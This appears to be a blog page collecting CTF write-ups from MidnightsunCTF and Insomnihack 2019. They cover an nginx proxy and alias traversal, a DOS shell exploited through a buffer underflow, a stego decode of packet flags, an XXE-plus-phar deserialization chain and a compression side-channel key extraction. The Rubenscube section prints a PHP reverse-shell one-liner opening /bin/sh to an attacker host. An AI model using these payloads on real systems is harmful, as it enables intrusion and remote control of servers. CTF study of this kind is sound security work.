• MidnightsunCTF Quals 2019 - bigspin

    bigspin was a challenge for the MidnightsunCTF Quals 2019

    On visiting the linked website you get a message, asking if you are a user, admin or uberadmin, or just a usual pleb (all links to identically named subdirectories).

    We are all usual plebs

    Visiting anything but pleb fails. Visting pleb results in the content of example.com showing on your screen.

    With a bit of trial and error it becomes obvious that it’s a reverse proxy for example.com with a missing / after the domain name, making it possible to visit something like /pleb.localhost.localdomain/user.


    Accessing the directory gives us a directory listing with a single file called nginx.cönf (including a space at the end of the filename).

    Just clicking on the file results in a 404, we have to double encode the filename because nginx decodes it first before it’s used in the reverse proxy url. Something like /pleb.localhost.localdomain/user/nginx.c%25C3%25B6nf%2520 works and gives us a copy of the used nginx config:

    worker_processes 1;
    user nobody nobody;
    error_log /dev/stdout;
    pid /tmp/nginx.pid;
    events {
      worker_connections 1024;
    http {
        # Set an array of temp and cache files options that otherwise defaults to
        # restricted locations accessible only to root.
        client_body_temp_path /tmp/client_body;
        fastcgi_temp_path /tmp/fastcgi_temp;
        proxy_temp_path /tmp/proxy_temp;
        scgi_temp_path /tmp/scgi_temp;
        uwsgi_temp_path /tmp/uwsgi_temp;
        resolver ipv6=off;
        server {
            listen 80;
            location / {
                root /var/www/html/public;
                try_files $uri $uri/index.html $uri/ =404;
            location /user {
                deny all;
                autoindex on;
                root /var/www/html/;
            location /admin {
                autoindex on;
                alias /var/www/html/admin/;
            location /uberadmin {
                deny all;
                autoindex on;
                alias /var/www/html/uberadmin/;
            location ~ /pleb([/a-zA-Z0-9.:%]+) {
                proxy_pass   http://example.com$1;
            access_log /dev/stdout;
            error_log /dev/stdout;

    I’m an admin!

    We can see that /admin is an internal block, which can’t be accessed directly but since we have control over the reverse proxy URL we can use it to point to a server of our control and add a header like X-Accel-Redirect: /admin/, which instructs nginx to do an internal redirect and delivers us the content as if we’d have been able to access /admin/ directly.

    In the admin directory is a flag.txt, but it only tells us that the flag is only for uberadmins.

    I lied, I’m really an uberadmin.

    Since the location blocks are not terminated with a slash but the alias in the /admin block is terminated we can inject dots to access a higher directory.

    Setting the header on our server to X-Accel-Redirect: /admin../uberadmin/flag.txt results in the flag.

    Lesson learned: Terminate all paths and URLs with slashes.

  • MidnightsunCTF Quals 2019 - hfs

    Stage1: Getting Past The Password Auth (hfs-mbr)

    I used IDA in remote debug mode during the CTF, but it was somehow buggy and an overall painful experience for me. Writeup using radare2 (even though, what a surprise, their 16 bit remote debugger seems to be currently kind of broken as well).

    r2 -b16 dos.img

    At offset 0000:0637 we find the main password loop of the program.


    A single character is read, then a check is performed if the character is in the range of [a-z]. If it is, the char is converted into numbers ranging from 0 to 25. Afterwards the number is multiplied by 2 and serves as the index of a jumptable. E.g. depending on the index a different function is called (jmp ax).

    We can find the called functions below, starting at 0000:0662. Luckily they were in oder, e.g. the first jumptable function belongs to the character ‘a’, the second to ‘b’, etc.


    Most of the functions are dummy ones, effectively doing nothing. But some of them contain some checks, and depending on the outcome a different path is choosen. The 0x7d9 path is the one we don’t want to take. 0x7ce Is the way to go because it increments a counter for the amount of ‘correct chars’ (0x81bb), while the other one just increments the ‘total chars’ (0x81ba). If after 9 input bytes both counters are equal, the password is correct.

    So the objective is clear, we have to find the correct order of all jumptable functions.

    Effectively all jumptable functions are doing the same, however they are more or less “obfuscated”.

    1. They take the number of ‘total chars’ and xor it with the current input character (xor dl, byte [0x81ba]).
    2. They compare the resulting value with a fixed one, and take the good branch if correct

    So I just deobfuscated all functions and noted the value they compare the input with. E.g. the function for char ‘e’ can be seen at 0000:0686.

    1. The first ax assignment is useless because of the follow up xor ax, ax (ax = 0)
    2. 6 times adding 0x10 to ax is equal to ax = 0x60
    3. Therefore 0x60 is subtracted from our xored charcode, and if the result is 2 we are good. This equation is fulfilled for xored charcode == 0x62.

    I now did this for all functions and wrote a python script to resolve the correct order.

    chars = {'e': 0x62, 'j': 0x68, 'n': 0x68, 'o': 0x6e, 'p': 0x74, 'r': 0x7a, 's': 0x73, 'u': 0x76, 'w': 0x72}
    pw = ''
    n = 0
    for _ in range(len(chars)):
        for c in chars:
            if (ord(c) ^ n) == chars[c]:
                pw += c
                n += 1

    we get sojupwner, wich leads us to the first flag midnight{w0ah_Sh!t_jU5t_g0t_REALmode} and gives us access to stage2. We are now dropped into a custom written “shell” (COMMAND.COM).

    Stage2: Pwning The Shell (hfs-dos)

    First of all, I extracted the COMMAND.COM binary out of the raw image.

    fdisk -l dos.img
    Disk dos.img: 10 MiB, 10485760 bytes, 20480 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x00000000
    Device     Boot Start   End Sectors  Size Id Type
    dos.img1   *       63 20159   20097  9.8M  1 FAT12

    We can see that the FAT12 Filesystem starts at offset 63, and the sector size is 512. Therefore we setup the loop device for an offset of 63*512.

    losetup /dev/loop0 dos.img -o 32256

    Now we can mount and comfortably read the filesystem.

    mount /dev/loop0 /mnt

    Extract the COMMAND.COM and throw it into IDA or radare2.

    The bug was pretty easy to spot as well, even found it bevore even looking at the disassembly. Deleting a character by using backspace had no lower bounds check. With this we could owerwrite jumptable entries for console commands as they were placed directly above the input buffer. By entering an overwritten command we now could now jump arbitrary.


    An other thing I used to exploit is, that the shell reads and prints the flag for stage1 in the beginning. And the Filename of Flag1 was right above us as well. Therefore my attack was as follows:

    1. Overwrite the filename of the first flag (FLAG1) so it becomes FLAG2
    2. Overwrite a jumptable entry of some console command with the address of the “print flag” function.
    3. Trigger by executing the overwritten command (“pong” in my case)
    from pwn import *
    # setup and stage1
    r = remote('hfs-os-01.play.midnightsunctf.se', 31337)
    # actual exploit
    r.send('\x7f' * 3 + '2\x0d')
    r.send('\x7f' * 11 + struct.pack('<H', 0x14f) + '\x0d')

    we get midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}.

  • MidnightsunCTF Quals 2019 - Dr. Evil

    Dr. evil was a stego task from the Midnightsun CTF 2019 qualifier

    The task gave you a .pcap file and this hint

    “We have managed to intercept communications from Dr. Evil’s base but it seems to be encrypted. Can you recover the secret message.”

    tl;dr at the end

    Finding the flag:

    The .pcap contained one TCP/TLS connection and some DNS querys. The DNS querys/responses were all related to the TLS connection and the, in total 16 DNS packets, were easy to go through through manually.

    Addresses from DNS querys/responses 3c3db807.ngrok.io A-> AAAA-> 2600:1f16:59e:b200:cd2c:dd37:7e0c:bb3e pwnbox.local router.asus.com

    The TLS connection was to (3c3db807.ngrok.io, In the CTF this task had only the label “Network”. I didn’t know anything about ngrok.io, so I checked the website and did a bit googling. It turned out, that ngrok.io is some “I can’t do portforwarding on my router” service and 3c3db807 from 3c3db807.ngrok.io seemed to be the name you have to use at ngrok.

    The certificate used for the connection was the one from ngrok. As this was not a crypto task and ngrok was not some fake service just for the ctf I thought that the TLS connection itself was secure.

    The Addresses which were found in the .pcap all belong to either some local Network, or AWS (which is used by ngrok). I then checked out the 3c3db807.ngrok.io service on 4 and 6, but it just showed the default ngrok offline/notfound message on port 80/443. “Tunnel kdlsjfs.ngrok.io not found” on ipv6 the portscan showed an open ssh port, but this was also from ngrok, so unrelated to the challenge.

    As a last try I checked google and archive.org for 3c3db807.ngrok.io, but this was also without a result

    At this point I did not know what else to look for, so I randomly scrolled through wireshark. After a while I thought to notice that the packet sizes were unusual, so I used scapy to print out all the packetsizes as I hoped to find a pattern, which was also without a result.

    When playing around with scapy I noticed something

    ###[ IP ]### 
      version   = 4
      ihl       = 5
      tos       = 0x0
      len       = 40
      id        = 12160
      flags     = evil <-------------------------
      frag      = 0
      ttl       = 64
      proto     = tcp
      chksum    = 0x4916
      src       =
      dst       =
      \options   \
    ###[ TCP ]### 
         sport     = https
         dport     = 56030
         seq       = 932416002
         ack       = 2065585685
         dataofs   = 5
         reserved  = 0
         flags     = A
         window    = 65535
         chksum    = 0x3e37
         urgptr    = 0
         options   = []
    ###[ Padding ]### 
            load      = '\x00\x00\x00\x00\x00\x00'

    flags = evil

    evil like the name of the task.

    when listing all the evil flags from all packets from the host “” as 1/0 it gives this pattern:


    converting to ascii: Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!


    TLDR: The flag is in hidden in the “evil” bit of the Ipv4 header https://www.ietf.org/rfc/rfc3514.txt https://en.wikipedia.org/wiki/Evil_bit

    Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

    from scapy.all import *
    currentChar = 0
    count = 7
    def read(packet):
        global currentChar
        global count
        if packet[IP].src == "":
            if packet[IP].flags:
                currentChar += 2**count
            count = count-1
            if count < 0:
                count = 7
                print(chr(currentChar), end="")
                currentChar = 0
    sniff(offline='/home/markus/ctf/midnight/evil/dr-evil.pcap', prn=read, store=0)
  • Midnightsunctf Rubenscube

    This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.

    The upload functionality is implemented as:

    function calcImageSize($file, $mime_type) {
        if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
            $stats = getimagesize($file);  // Doesn't work for svg...
            $width = $stats[0];
            $height = $stats[1];
        } else {
            $xmlfile = file_get_contents($file);
            $dom = new DOMDocument();
            $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
            $svg = simplexml_import_dom($dom);
            $attrs = $svg->attributes();
            $width = (int) $attrs->width;
            $height = (int) $attrs->height;
        return [$width, $height];
    class Image {
        function __construct($tmp_name)
            $allowed_formats = [
                "image/png" => "png",
                "image/jpeg" => "jpg",
                "image/svg+xml" => "svg"
            $this->tmp_name = $tmp_name;
            $this->mime_type = mime_content_type($tmp_name);
            if (!array_key_exists($this->mime_type, $allowed_formats)) {
                // I'd rather 500 with pride than 200 without security
                die("Invalid Image Format!");
            $size = calcImageSize($tmp_name, $this->mime_type);
            if ($size[0] * $size[1] > 1337 * 1337) {
                die("Image too big!");
            $this->extension = "." . $allowed_formats[$this->mime_type];
            $this->file_name = sha1(random_bytes(20));
            $this->folder = $file_path = "images/" . session_id() . "/";
        function create_thumb() {
            $file_path = $this->folder . $this->file_name . $this->extension;
            $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
            system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
        function __destruct()
            if (!file_exists($this->folder)){
            $file_dst = $this->folder . $this->file_name . $this->extension;
            move_uploaded_file($this->tmp_name, $file_dst);
    new Image($_FILES['image']['tmp_name']);
    header('Location: index.php');

    The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed.

    Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.

    To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.

    This is our script to create the phar archive:

    $jpeg_header_size = 
    $phar = new Phar("exploit.phar");
    $phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>';
    $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
    class Image {}
    $o = new Image();
    $o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | ";

    The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper.

    Let’s see what ‘file’ has to say about the archive.

    $ php pack.php 
    $ file exploit.phar 
    exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3

    The archive is in fact recognized as a jpeg image.

    Now we crafted an svg image with external entities which should trigger the phar archive.

    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]>
    <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>

    The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag flag{R3lying_0n_PHP_4lw45_W0rKs}

  • InsomnihackCTF 2019 - drinks

    In this task we’re given an IP, a port and the source code of the service.

    The service offers a JSON based API:

    from flask import Flask,request,abort
    import gnupg
    import time
    app = Flask(__name__)
    gpg = gnupg.GPG(gnupghome="/tmp/gpg")
    couponCodes = {
        "water": "WATER_2019",
        "beer" : "" # REDACTED
    @app.route("/generateEncryptedVoucher", methods=['POST'])
    def generateEncryptedVoucher():
        content = request.json
        (recipientName,drink) = (content['recipientName'],content['drink'])
        encryptedVoucher = str(gpg.encrypt(
            "%s||%s" % (recipientName,couponCodes[drink]),
            recipients  = None,
            symmetric   = True,
            passphrase  = couponCodes[drink]
        )).replace("PGP MESSAGE","DRINK VOUCHER")
        return encryptedVoucher
    @app.route("/redeemEncryptedVoucher", methods=['POST'])
    def redeemEncryptedVoucher():
        content = request.json
        (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
        # Reluctantly go to the fridge...
        decryptedVoucher = str(gpg.decrypt(
            encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
            passphrase = passphrase
        (recipientName,couponCode) = decryptedVoucher.split("||")
        if couponCode == couponCodes["water"]:
            return "Here is some fresh water for %s\n" % recipientName
        elif couponCode == couponCodes["beer"]:
            return "Congrats %s! The flag is INS{ %s}\n" % (recipientName, couponCode)
    if __name__ == "__main__":

    This service encrypts a user generated string concatinated with || and the encryption key.

    The goal here was to find the de-/encryption key of the beer voucher.

    The code is using a wrapper for the GnuPGP library. The corresponding RFC says, PGP is using a block cipher in CFB mode. Since we didn’t see how we could directly attack this service, we were buffeled for a bit.

    We decided to find out the length of the encryption key, since it might be to short. To do so, we send the service receipientNames with an increasing amount of As. To our surprise, the ciphertext size didn’t increase per character.

    This means, OpenPGP uses compression before encrypting the data! This opens the door for a compression side channel!

    Since we control what comes before the encryption key, we can try out different characters. Everytime we get a shorter ciphertext, we know another character of the key, since our receipientName got compressed together with the key. Because the compression starts at a size of three bytes, we can start our search with ||A. This would result in the text ||A||$SECRET_KEY, which should be compressed (and therefore shorter) if the $SECRET_KEY starts with an A.

    The exploit script (see below) first determines a maximum ciphertext length by sending a non-compressible 40 byte string to the service. Then it tries out new characters by appending them to the known key string (in the beginning ||) and filling the remaining 40 bytes with non compressible data. Everytime a ciphertext shorter than the previous one is received, we know another byte of the key!

    The exploit script is not optimal (CTF code quality…), since it doesn’t necessarily find the patterns in correct order.

    Running it the first time gave us the key G1M_V3RY_TH1RSTY, which seems wierd and also didn’t work for decryption. Forbidding the first underline, it would give us the key G1MME_B33RY_TH1RSTY, which also doesn’t make sense. This is because the key contains repeating patterns (e.g. B33RY compresses, just as B33R_ because of the word V3RY).

    To fix this we’d need a more sophisticated approach, storing all candidate characters… But it was 3 a.m. and we were tired. So we just fixed the prefix to ||G1MME_B33R_ which seemed reasonable.

    This worked and gave us:

    p3 explcry.py

    Which is the flag.

    Full Exploit Script:

    import os
    import random
    import base64
    import requests
    import string
    SEARCHSP = list("_" + string.printable[:-6])
    PAD = string.ascii_lowercase + "!§$%&()=?-:;#'+*<>|"
    MAX_LEN = 40
    for c in PAD:
        if c in SEARCHSP:
    def gen_pad(l):
        a = random.randint(0, len(PAD)-l)
        return PAD[a:a+l]
    def convert_to_hex(p):
        return base64.b64decode("".join(p.split("\n")[2:-3])).hex()
    def get_enc(recipient, drink):
        r=requests.post('http://localhost:5000/generateEncryptedVoucher',json={'recipientName': recipient, 'drink': drink}) 
        return r.text
    def get_uncompressed_len(PREFIX):
        while True:
            l_high_ent = []
            for i in range(20):
                l_high_ent.append(convert_to_hex(get_enc(PREFIX + gen_pad(MAX_LEN - len(PREFIX)), "beer")))
            len_ct = len(l_high_ent[0])
            for p in l_high_ent:
                if len(p) != len_ct:
        return len_ct
    KNOWN = "||G1MME_B33R_"
    len_ct = get_uncompressed_len(KNOWN)
    print("Ciphertext len without compression: ", len_ct)
    num = 0
    for _ in range(26):
        for c in string.ascii_uppercase + "_0123456789":
            pw = KNOWN + c + PAD[:MAX_LEN - len(KNOWN) - 1]
            test = convert_to_hex(get_enc(pw, "beer"))
            num += 1
            if len(test) < len_ct:
                len_ct = len(test)
                KNOWN += c